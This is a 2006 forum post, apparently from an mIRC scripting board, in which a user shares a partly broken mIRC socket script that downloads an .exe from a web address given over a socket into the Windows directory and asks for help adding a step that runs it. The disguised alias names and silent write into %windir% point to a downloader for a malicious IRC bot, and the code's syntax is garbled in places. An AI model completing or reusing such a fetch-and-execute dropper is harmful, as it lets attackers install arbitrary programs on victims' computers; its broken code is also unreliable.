I've already got the Download part, atlast, 1/2 ... aint working.

Code:
alias downlo4d {
set %read | sockread %read
d0wnload $gettok(%read,5,32)
}
alias d0wnload {
  set %download. [ $+ [ $gettok(http://.../bla.exe,-1,47) ] ] $1
  sockopen $eval($+(download_,$gettok(http://.../bla.exe),-1,47)),2) $gettok($remove($1,http://),1,47) 80
}
on *:sockopen:download_*:{
}
write -c $chr(34) $+ %windir% $+ $gettok($sockname,2-,95) $+ $chr(34)
unset %download_*
sockwrite -n $sockname GET $eval($+(/,$gettok($remove(%download. [ $+ [ $gettok($sockname,2-,95) ] ],http://),2-,47)),2) HTTP/1.0
sockwrite -n $sockname Accept: */*
sockwrite -n $sockname Host: $eval($+($gettok($remove(%download. [ $+ [ $gettok($sockname,2-,95) ] ],http://),1,47)),2)
sockwrite -n $sockname
}
on *:sockread:download_*:{
if ($eval($+(%,download_ready_,$gettok($sockname,2-,95)),2) != 1) {
  var %download.header_ [ $+ [ $gettok($sockname,2-,95) ] ]
  sockread %download.header_ [ $+ [ $gettok($sockname,2-,95) ] ]
  while ($sockbr) {
    if (Content-length: * iswm %download.header_ [ $+ [ $gettok($sockname,2-,95) ] ]) {
      set %download_length_ [ $+ [ $gettok($sockname,2-,95) ] ] $gettok(%download.header_ [ $+ [ $gettok($sockname,2-,95) ] ],2,32)
    }
    elseif (* !iswm $eval($+(%,download.header_,$gettok($sockname,2-,95)),2)) {
      set %download_ready_ [ $+ [ $gettok($sockname,2-,95) ] ] 1
      set %download_offset_ [ $+ [ $gettok($sockname,2-,95) ] ] $sock($sockname).rcvd
      break
    }
    sockread %download.header_ [ $+ [ $gettok($sockname,2-,95) ] ]
  }
}
sockread 4096 &d
while ($sockbr) {
  bwrite $chr(34) $+ %windir% $+ $gettok($sockname,2-,95) $+ $chr(34) -1 -1 &d
  sockread 4096 &d
}
}

+ execute part needed smirk
It has 2 work like this, when i type:
//dlnow
It will just get the file from the website into %blabla% and then executes it...

If anyone can help me with this...

Last edited by PhyxiuS; 09/05/06 06:34 PM.